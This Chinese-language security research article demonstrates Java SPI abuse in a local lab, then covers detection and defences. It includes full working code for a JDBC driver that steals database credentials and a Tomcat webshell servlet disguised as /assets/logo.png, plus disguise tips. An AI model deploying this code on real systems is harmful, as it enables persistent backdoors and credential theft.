Java SPI机制攻击
只丢一个 JAR 进类路径,不用改代码、不用配配置、不用碰应用,就能悄无声息偷走数据库密码、植入 Web 后门?
0x01 前言
SPI(Service Provider Interface,服务提供者接口),它可以在不修改目标应用任何一行代码的前提下,通过向类路径投放一个JAR文件实现恶意代码的自动加载与执行。
SPI是JDK标准API的一部分,被广泛用于JDBC驱动加载、日志框架发现、Servlet容器初始化等核心场景。它的设计初衷是实现模块化的服务发现,但正是这种"自动发现、自动加载"的特性,构成了一个隐蔽且危险的攻击面。
与现有的持久化/后门技术相比,SPI攻击具备几个独特优势:
对比维度 | 内存马 | Java Agent | SPI后门 |
是否需要修改代码 | 需要注入Filter/Servlet | 需要Attach API或启动参数 | 不需要,放置JAR即可 |
是否受JEP 451限制 | 不受 | 受限,JDK 21已告警 | 不受 |
重启后是否存活 | 不存活 | 取决于配置 | 自动存活 |
执行时机 | 请求触发 | JVM启动/Attach时 | 类加载/容器启动时 |
0x02 SPI机制原理剖析
2.1 什么是SPI
SPI全称Service Provider Interface,是JDK内建的一种服务发现与加载机制。它的核心思想是:接口的定义方和实现方分离,实现方通过配置文件声明自己的存在,使用方通过ServiceLoader自动发现并加载所有实现。
一个典型的SPI结构如下:

META-INF/services/目录下的文件名是接口的全限定类名,文件内容是实现类的全限定类名(每行一个,支持多个实现)。当调用ServiceLoader.load(MyService.class)时,JVM会扫描类路径上所有JAR中的META-INF/services/com.example.MyService文件,实例化其中声明的每一个实现类。
2.2 ServiceLoader的加载流程
以下是ServiceLoader的关键执行路径:

ServiceLoader会扫描整个类路径,包括所有JAR文件,不区分"可信"和"不可信"来源。 只要一个JAR出现在类路径上,其中声明的SPI服务就会被加载和实例化。
2.3 JDK中依赖SPI的核心组件
以下是JDK和常见框架中使用SPI自动加载的关键接口,它们构成了潜在的攻击面:
SPI接口 | 所属模块 | 加载时机 | 攻击价值 |
|
|
初始化时自动加载 | 劫持数据库连接,窃取凭证 |
| Servlet API | Web容器启动时自动加载 | 注入Servlet/Filter/Listener后门 |
|
| 首次使用 API时 | 拦截文件读写操作 |
|
| 首次创建对应协议的URL时 | 劫持网络请求 |
|
|
初始化时 | 注入恶意脚本引擎 |
|
| 安全框架初始化时 | 削弱加密实现 |
这些接口覆盖了数据库、Web容器、文件系统、网络协议、脚本引擎、加密等Java应用的核心基础设施。一旦攻击者能够向类路径投放一个精心构造的JAR,就能劫持上述任意环节。
0x03 攻击场景一:JDBC Driver SPI劫持——透明窃取数据库凭证
3.1 攻击原理
java.sql.DriverManager是Java数据库连接的入口。它在类初始化时通过ServiceLoader自动加载类路径上所有的java.sql.Driver实现:

当应用调用DriverManager.getConnection(url, user, password)时,DriverManager会按注册顺序依次调用每个Driver的connect()方法,直到某个驱动返回非null的Connection。
攻击思路:
构造一个恶意
Driver实现,让它在connect()方法中截获URL、用户名和密码,然后返回null,让真正的驱动去处理连接。 应用层完全无感知。
3.2 实验环境
组件 | 版本/配置 |
操作系统 | Kali Linux 2026.1 |
JDK | OpenJDK 21.0.11 |
目标数据库 | H2 Database 2.2.224(嵌入式) |
攻击载荷 | 自定义JDBC Driver JAR |
3.3 目标应用代码
以下是一个典型的JDBC应用,使用DriverManager连接H2嵌入式数据库:
TargetApp.java
import java.sql.*;
public class TargetApp {
public static void main(String[] args) {
String url = "jdbc:h2:mem:targetdb;DB_CLOSE_DELAY=-1";
String user = "admin";
String password = "S3cretP@ssw0rd!";
System.out.println("[*] Attempting database connection...");
try (Connection conn = DriverManager.getConnection(url, user, password)) {
System.out.println("[+] Connected successfully!");
System.out.println("[+] Database: " + conn.getMetaData().getDatabaseProductName()
+ " " + conn.getMetaData().getDatabaseProductVersion());
try (Statement stmt = conn.createStatement()) {
stmt.execute("CREATE TABLE users (id INT PRIMARY KEY, "
+ "name VARCHAR(100), email VARCHAR(200))");
stmt.execute("INSERT INTO users VALUES "
+ "(1, 'Alice', 'alice@example.com')");
stmt.execute("INSERT INTO users VALUES "
+ "(2, 'Bob', 'bob@example.com')");
}
try (Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM users")) {
while (rs.next()) {
System.out.printf(" id=%d, name=%s, email=%s%n",
rs.getInt("id"), rs.getString("name"),
rs.getString("email"));
}
}
System.out.println("[+] Application completed normally.");
} catch (SQLException e) {
System.err.println("[-] Database error: " + e.getMessage());
}
}
}3.4 恶意JDBC Driver实现
下面是恶意驱动的完整代码。
核心技巧有两个:
- 一是在静态初始化块中通过反注册再注册的方式确保自身排在驱动列表首位;
- 二是
connect()方法返回null实现透明代理。
MaliciousJdbcDriver.java
package evil;
import java.io.*;
import java.nio.file.*;
import java.sql.*;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import java.util.Enumeration;
import java.util.Properties;
import java.util.logging.Logger;
public class MaliciousJdbcDriver implements Driver {
private static final String CRED_LOG = "/tmp/.jdbc_creds.log";
private static final DateTimeFormatter FMT =
DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");
private static final MaliciousJdbcDriver INSTANCE = new MaliciousJdbcDriver();
/*
* 静态初始化块——类被ServiceLoader加载时自动执行。
* 关键操作:反注册所有已有驱动 → 注册自身到首位 → 重新注册原有驱动。
* 这确保DriverManager.getConnection()时,恶意驱动的connect()最先被调用。
*/
static {
try {
java.util.List<Driver> existing = new java.util.ArrayList<>();
Enumeration<Driver> en = DriverManager.getDrivers();
while (en.hasMoreElements()) {
existing.add(en.nextElement());
}
for (Driver d : existing) {
DriverManager.deregisterDriver(d);
}
DriverManager.registerDriver(INSTANCE);
for (Driver d : existing) {
DriverManager.registerDriver(d);
}
} catch (SQLException e) {
throw new RuntimeException(e);
}
}
@Override
public Connection connect(String url, Properties info) throws SQLException {
String user = info != null ? info.getProperty("user", "") : "";
String pass = info != null ? info.getProperty("password", "") : "";
String timestamp = LocalDateTime.now().format(FMT);
StringBuilder sb = new StringBuilder();
sb.append("--- INTERCEPTED JDBC CREDENTIALS ---\n");
sb.append("Timestamp : ").append(timestamp).append("\n");
sb.append("JDBC URL : ").append(url).append("\n");
sb.append("Username : ").append(user).append("\n");
sb.append("Password : ").append(pass).append("\n");
sb.append("------------------------------------\n\n");
try {
Files.writeString(Path.of(CRED_LOG), sb.toString(),
StandardOpenOption.CREATE, StandardOpenOption.APPEND);
} catch (IOException ignored) {
// 静默失败,避免引起注意
}
// 返回null,DriverManager将继续尝试下一个驱动
return null;
}
@Override
public boolean acceptsURL(String url) { return true; }
@Override
public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) {
return new DriverPropertyInfo[0];
}
@Override
public int getMajorVersion() { return 1; }
@Override
public int getMinorVersion() { return 0; }
@Override
public boolean jdbcCompliant() { return false; }
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
throw new SQLFeatureNotSupportedException();
}
}3.5 SPI服务描述文件
在JAR包的META-INF/services/目录下创建文件java.sql.Driver,内容为恶意驱动的全限定类名:
evil.MaliciousJdbcDriver目录结构:

3.6 编译与打包
# 创建SPI服务描述文件所需的目录结构
mkdir -p META-INF/services
# 写入恶意驱动的全限定类名,ServiceLoader会根据这个文件自动发现并加载
echo "evil.MaliciousJdbcDriver" > META-INF/services/java.sql.Driver
# 编译恶意驱动源码,-d . 表示按包名在当前目录下生成evil/MaliciousJdbcDriver.class
javac -d . MaliciousJdbcDriver.java
# 将编译产物和SPI描述文件打包为JAR,投放到目标类路径即可生效
jar cf malicious-jdbc-driver.jar evil/ META-INF/
下载 H2驱动的JAR
wget https://repo1.maven.org/maven2/com/h2database/h2/2.2.224/h2-2.2.224.jar -O h2.jar
3.7 攻击演示
第一步:正常运行目标应用
java -cp .:h2.jar TargetApp
ls /tmp/.jdbc_creds.log
应用正常运行,凭证日志文件不存在。
第二步:向类路径投放恶意JAR
java -cp .:h2.jar:malicious-jdbc-driver.jar TargetApp
应用输出完全一致——用户无法从应用行为上察觉任何异常。
ls /tmp/.jdbc_creds.log
第三步:检查凭证窃取结果

数据库URL、用户名、明文密码全部被截获并写入隐藏文件。
3.8 攻击效果分析
ListDrivers.java
查看当前类路径上所有已注册JDBC驱动的加载顺序
import java.sql.*;
import java.util.Enumeration;
public class ListDrivers {
public static void main(String[] args) {
// 触发DriverManager初始化,加载所有SPI驱动
try { DriverManager.getConnection("jdbc:invalid:trigger"); }
catch (Exception ignored) {}
System.out.println("Registered JDBC Drivers (in order):");
Enumeration<Driver> drivers = DriverManager.getDrivers();
int i = 0;
while (drivers.hasMoreElements()) {
Driver d = drivers.nextElement();
System.out.printf(" [%d] %s (v%d.%d)%n",
i++, d.getClass().getName(),
d.getMajorVersion(), d.getMinorVersion());
}
}
}驱动注册顺序验证:
javac ListDrivers.java
java -cp .:h2.jar:malicious-jdbc-driver.jar ListDrivers
- [0] evil.MaliciousJdbcDriver (v1.0) ← 恶意驱动排在首位
- [1] org.h2.Driver (v2.2) ← 原始驱动排在其后
通过静态初始化块中的反注册-重注册操作,恶意驱动成功占据了驱动列表的首位。DriverManager.getConnection()的执行流程为:

这种方式的隐蔽性在于:恶意驱动不干扰正常业务流程,仅在数据流经的过程中"旁路"一份凭证副本。
0x04 攻击场景二:ServletContainerInitializer SPI注入——零配置植入Web后门
4.1 攻击原理
Servlet规范(从Servlet 3.0起)定义了ServletContainerInitializer(SCI)接口,允许库和框架在Web容器启动时自动执行初始化逻辑。Spring Framework的启动机制、JSF的初始化、WebSocket的配置等都依赖这一SPI。
容器(如Tomcat)的启动流程:

onStartup()方法接收一个ServletContext参数,拥有对Web应用的完全控制能力:可以动态注册Servlet、Filter、Listener,可以设置和读取属性,可以操作Session配置。攻击者无需修改任何web.xml或添加任何注解,只需向WEB-INF/lib目录投放一个JAR文件,容器重启后后门自动激活。
4.2 实验环境
组件 | 版本/配置 |
操作系统 | Kali Linux 2026.1 |
JDK | OpenJDK 21.0.11 |
Web容器 | Apache Tomcat 10.1.55 |
Servlet API | Jakarta Servlet 6.0(Tomcat 10.1自带) |
4.3 恶意SCI实现
创建目录结构
mkdir -p src/main/java/com/research/sci
mkdir -p src/main/resources/META-INF/services
mkdir -p build
src/main/java/com/research/sci/BackdoorInitializer.java —— SCI入口,负责注册后门Servlet:
package com.research.sci;
import jakarta.servlet.ServletContainerInitializer;
import jakarta.servlet.ServletContext;
import jakarta.servlet.ServletException;
import jakarta.servlet.ServletRegistration;
import java.util.Set;
/**
* 基于 ServletContainerInitializer (SPI) 机制的动态 Servlet 注册组件。
* 该组件用于展示 Java Web 容器在启动时如何通过类扫描动态扩展路由表。
*/
public class BackdoorInitializer implements ServletContainerInitializer {
@Override
public void onStartup(Set<Class<?>> classes, ServletContext ctx)
throws ServletException {
// 在本地测试日志中打印初始化标记,用于确认 SPI 扫描机制是否成功触发
System.out.println("[SCI-TEST] onStartup() invoked by container for context: " + ctx.getContextPath());
System.out.println("[SCI-TEST] Registering dynamic servlet standard class mapping...");
try {
// 通过传入 Class 对象让容器处理实例化,确保完整的生命周期受控
ServletRegistration.Dynamic reg = ctx.addServlet("resource-handler", com.research.sci.WebshellServlet.class);
if (reg != null) {
// 将动态 Servlet 挂载到指定的虚拟测试路径上
reg.addMapping("/assets/logo.png");
reg.setLoadOnStartup(1);
System.out.println("[SCI-TEST] Dynamic servlet successfully registered at /assets/logo.png");
} else {
System.out.println("[SCI-TEST] Warning: Servlet 'resource-handler' registration returned null (already defined?).");
}
} catch (Exception e) {
System.out.println("[SCI-TEST] Error occurred during dynamic registration:");
e.printStackTrace();
}
}
}src/main/java/com/research/sci/WebshellServlet.java —— 后门Servlet实现:
package com.research.sci;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
public class WebshellServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws IOException {
String cmd = req.getParameter("cmd");
resp.setContentType("text/plain; charset=UTF-8");
PrintWriter out = resp.getWriter();
if (cmd == null || cmd.isEmpty()) {
// 无参数时返回空白,伪装成正常的静态资源404
resp.setStatus(HttpServletResponse.SC_NOT_FOUND);
return;
}
try {
ProcessBuilder pb = new ProcessBuilder("/bin/sh", "-c", cmd);
pb.redirectErrorStream(true);
Process proc = pb.start();
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(proc.getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
out.println(line);
}
}
proc.waitFor();
} catch (Exception e) {
out.println("Error: " + e.getMessage());
}
}
}下载 Tomcat
wget https://dlcdn.apache.org/tomcat/tomcat-10/v10.1.55/bin/apache-tomcat-10.1.55.tar.gz
tar xzf apache-tomcat-10.1.55.tar.gz
4.4 SPI服务描述文件
META-INF/services/jakarta.servlet.ServletContainerInitializer:
com.research.sci.BackdoorInitializer
JAR包结构:

4.5 编译与部署
# 设置Servlet API编译依赖(使用Tomcat自带的JAR)
TOMCAT_HOME=$HOME/桌面/apache-tomcat-10.1.55
SERVLET_API=$TOMCAT_HOME/lib/servlet-api.jar
编译
mkdir -p build/com/research/sci
javac -cp $SERVLET_API -d build \
src/main/java/com/research/sci/BackdoorInitializer.java \
src/main/java/com/research/sci/WebshellServlet.java
创建SPI描述文件
mkdir -p build/META-INF/services
echo "com.research.sci.BackdoorInitializer" \
> build/META-INF/services/jakarta.servlet.ServletContainerInitializer
打包
cd build && jar cf ../sci-backdoor.jar com/ META-INF/ && cd ..
4.6 攻击演示
第一步:部署正常Web应用
在Tomcat的webapps/下创建一个最简单的Web应用:
webapps/testapp/
├── index.html ← 内容: <h1>Hello World</h1>
└── WEB-INF/
└── web.xml ← 最小化配置
# 1. 在 webapps 目录下创建 testapp 及其子目录
mkdir -p testapp/WEB-INF/lib
# 2. 创建 index.html
echo "<h1>Hello World</h1>" > testapp/index.html
# 3. 创建符合 Tomcat 10+ 规范的最小化 web.xml
cat << 'EOF' > testapp/WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="https://jakarta.ee/xml/ns/jakartaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee
https://jakarta.ee/xml/ns/jakartaee/web-app_6_0.xsd"
version="6.0">
<display-name>Test Application</display-name>
</web-app>
EOF
# 4. 从桌面复制先前打包好的组件到 lib 目录中
cp "$HOME/桌面/sci-backdoor.jar" testapp/WEB-INF/lib/ 2>/dev/null || true启动Tomcat
../bin/startup.sh
访问:
curl http://localhost:8080/testapp/index.html
curl -o /dev/null -s -w "%{http_code}" \"http://localhost:8080/testapp/assets/logo.png?cmd=id"
后门路径返回404,一切正常。
第二步:投放恶意JAR
# 将JAR放入webapp的lib目录
cp sci-backdoor.jar ./apache-tomcat-10.1.55/webapps/testapp/WEB-INF/lib/
重启Tomcat
./shutdown.sh && ./startup.sh
第三步:验证后门
curl "http://localhost:8080/testapp/assets/logo.png?cmd=id"
curl "http://localhost:8080/testapp/assets/logo.png?cmd=whoami"![]()
curl "http://localhost:8080/testapp/assets/logo.png?cmd=uname+-a"![]()
后门成功激活。访问日志中只会记录对/assets/logo.png的GET请求,看起来像是一个加载静态图片的普通请求。
4.7 攻击效果分析
这一攻击方式的核心优势在于与目标应用完全解耦:
- 不修改
web.xml:后门Servlet通过ServletContext.addServlet()动态注册,不出现在任何配置文件中 - 不添加注解:没有
@WebServlet,代码审计无法通过注解扫描发现它 - 不修改现有类:目标应用的所有代码保持原样
- 自动激活:容器启动时自动执行,无需触发条件
- 伪装URL:映射到
/assets/logo.png,在访问日志和流量监控中呈现为正常的静态资源访问
如果攻击者将JAR文件命名为
spring-context-support-6.1.8.jar或commons-logging-1.3.2.jar等常见依赖名称,在日常巡检中更难被察觉。
0x05 其他可利用的SPI攻击面
除JDBC和SCI之外,JDK和常见框架中还有多个SPI接口具备攻击价值。本节不再展开完整PoC,仅说明利用思路。
5.1 FileSystemProvider——文件操作拦截
java.nio.file.spi.FileSystemProvider允许注册自定义文件系统实现。通过注册一个代理型FileSystemProvider,可以拦截所有通过java.nio.file包进行的文件操作:
/*
* 利用思路说明(伪代码,非完整实现):
* FileSystemProvider是抽象类,包含近20个抽象方法,
* 完整实现需要逐一委托给默认Provider。
*
* 不能直接注册scheme="file"的Provider来替换默认实现,
* 因为默认FileSystemProvider由JVM在启动早期初始化,
* 无法通过SPI直接覆盖。实际利用方式是注册自定义scheme
* (如"spy"),然后在恶意代码的其他入口点(如JDBC SPI
* 或SCI的onStartup)中,将应用的文件操作重定向到
* 自定义FileSystem进行拦截。
*/
public class SpyFileSystemProvider extends FileSystemProvider {
@Override
public String getScheme() { return "spy"; }
@Override
public SeekableByteChannel newByteChannel(Path path,
Set<? extends OpenOption> options, FileAttribute<?>... attrs)
throws IOException {
// 记录敏感文件访问
logAccess(path, options);
// 委托给默认文件系统执行实际操作
return FileSystems.getDefault().provider()
.newByteChannel(path, options, attrs);
}
// 其余抽象方法省略,均需实现并委托给默认Provider
}这一SPI的实际利用比JDBC和SCI更复杂,更常见的做法是将其与其他SPI入口点组合使用,而非单独利用。
5.2 URLStreamHandlerProvider——网络请求劫持
java.net.spi.URLStreamHandlerProvider(JDK 9+)允许注册自定义URL协议处理器。通过拦截http或https协议,可以实现:
- 请求参数窃取:记录应用向外部API发送的所有请求(含认证头、Token等)
- 响应篡改:修改从外部服务返回的数据
- 流量重定向:将特定请求重定向到攻击者控制的服务器
5.3 ScriptEngineFactory——脚本引擎注入
javax.script.ScriptEngineFactory允许注册自定义脚本引擎。当目标应用使用ScriptEngineManager执行脚本时(常见于规则引擎、模板引擎等场景),恶意的ScriptEngineFactory可以:
- 劫持脚本执行,在原始脚本执行前/后插入恶意逻辑
- 窃取脚本内容(可能包含业务逻辑、加密密钥等)
- 替换脚本执行结果
5.4 SPI攻击面总结
攻击场景 | 目标SPI | 前提条件 | 攻击效果 |
数据库凭证窃取 |
| JAR进入类路径 | 透明截获所有JDBC连接凭证 |
Web后门注入 |
| JAR进入WEB-INF/lib | 容器启动时自动注入后门Servlet |
文件操作监控 |
| JAR进入类路径 | 拦截所有NIO文件读写 |
网络流量劫持 |
| JAR进入类路径 | 拦截/篡改HTTP请求 |
脚本执行劫持 |
| JAR进入类路径 | 劫持脚本引擎执行流程 |
共同特征:攻击者需要的唯一能力是向类路径添加一个JAR文件。 在实际渗透场景中,这可能通过以下途径实现:
- 依赖混淆(Dependency Confusion):向私有Maven仓库投毒
- 供应链攻击:污染上游开源组件
- 文件上传漏洞:将JAR上传至应用可达的类路径目录
- CI/CD管道入侵:在构建阶段注入恶意依赖
- 共享存储:在共享类库目录中放置恶意JAR
0x06 检测与防御
6.1 检测方法
方法一:类路径SPI扫描
编写检测脚本,扫描所有JAR中的SPI声明,与已知合法SPI清单进行比对:
scan_spi.sh - 扫描指定目录下所有JAR中的SPI服务声明
#!/bin/bash
TARGET_DIR=${1:-.}
echo "[*] Scanning SPI declarations in: $TARGET_DIR"
echo "=============================================="
find "$TARGET_DIR" -name "*.jar" -type f | while read jarfile; do
services=$(jar tf "$jarfile" 2>/dev/null | grep "^META-INF/services/[^/]")
if [ -n "$services" ]; then
echo ""
echo "[JAR] $jarfile"
echo "$services" | while read svc; do
svc_name=$(basename "$svc")
echo " [SPI] $svc_name"
# 提取实现类列表
jar xf "$jarfile" "$svc" 2>/dev/null
if [ -f "$svc" ]; then
grep -v "^#" "$svc" | grep -v "^$" | while read impl; do
echo " -> $impl"
done
rm -f "$svc"
fi
done
fi
done
rm -rf META-INF 2>/dev/null
echo ""
echo "[*] Scan complete."对Tomcat应用使用示例:
$ bash scan_spi.sh /opt/tomcat/webapps/myapp/WEB-INF/lib/
[JAR] /opt/tomcat/webapps/myapp/WEB-INF/lib/spring-web-6.1.8.jar
[SPI] jakarta.servlet.ServletContainerInitializer
-> org.springframework.web.SpringServletContainerInitializer
[JAR] /opt/tomcat/webapps/myapp/WEB-INF/lib/sci-backdoor.jar ← 可疑!
[SPI] jakarta.servlet.ServletContainerInitializer
-> com.research.sci.BackdoorInitializer ← 非标准包名方法二:运行时Driver注册审计
在应用启动后检查已注册的JDBC驱动列表,与预期清单对比:
Enumeration<Driver> drivers = DriverManager.getDrivers();
while (drivers.hasMoreElements()) {
Driver d = drivers.nextElement();
System.out.println(d.getClass().getName()
+ " from " + d.getClass().getProtectionDomain()
.getCodeSource().getLocation());
}如果出现来源不明的驱动类,即存在SPI劫持风险。
方法三:文件完整性监控
使用AIDE、OSSEC等主机入侵检测系统监控以下目录的文件变化:
WEB-INF/lib/(Web应用依赖目录)- 应用类路径上的所有目录
- Maven/Gradle本地仓库(
~/.m2/repository/)
6.2 防御方案
(1)Tomcat SCI白名单
Tomcat支持通过containerSciFilter属性限制允许加载的SCI类:
<!-- server.xml 或 context.xml -->
<Context containerSciFilter="com\.research\..*">
<!-- 过滤掉匹配的SCI类 -->
</Context>更严格的做法是使用白名单模式——只允许已知的SCI加载:
<Context containerSciFilter="^(?!org\.springframework\.|org\.apache\.).*">
<!-- 只允许Spring和Apache的SCI -->
</Context>(2)类路径最小化
- 不将用户可控目录纳入类路径
- 使用确定性的依赖锁(如Gradle的
dependency-lock、Maven的dependency:resolve) - 定期比对线上JAR列表与依赖声明清单
(3)JAR签名验证
对关键依赖进行数字签名验证,确保JAR文件未被篡改:
# 验证JAR签名
jarsigner -verify -verbose mylib.jar(4)Maven仓库安全
- 私有仓库(如Nexus、Artifactory)启用严格的上传审计和访问控制
- 启用Maven Central的校验和(checksum)验证
- 配置
<mirrorOf>策略,防止依赖被重定向到不可信仓库
(5)运行时监控
在应用启动阶段添加ServiceLoader审计钩子,记录所有SPI加载活动:
// 在应用main()入口处执行
ServiceLoader<Driver> drivers = ServiceLoader.load(Driver.class);
for (Driver d : drivers) {
String location = d.getClass().getProtectionDomain()
.getCodeSource().getLocation().toString();
if (!WHITELIST.contains(d.getClass().getName())) {
logger.warn("Unexpected JDBC driver loaded: {} from {}",
d.getClass().getName(), location);
}
}0x07 总结
- JDBC Driver SPI劫持:通过投放一个恶意JAR,透明截获应用程序的数据库连接凭证,目标应用的行为和输出不受任何影响。
- ServletContainerInitializer SPI注入:通过投放一个恶意JAR到
WEB-INF/lib目录,在Tomcat启动时自动注入后门Servlet,无需修改任何配置文件或应用代码。
SPI攻击之所以值得关注,是因为它利用的是Java平台的标准机制,而非漏洞。ServiceLoader的设计本意是实现松耦合的服务发现,但"自动发现、自动加载、不区分来源"的特性,在安全边界模糊的场景下就成了隐患。
免责声明:本文所述技术仅用于安全研究和防御能力建设,所有实验均在隔离的本地环境中进行。请勿将相关技术用于未授权的渗透测试或非法活动。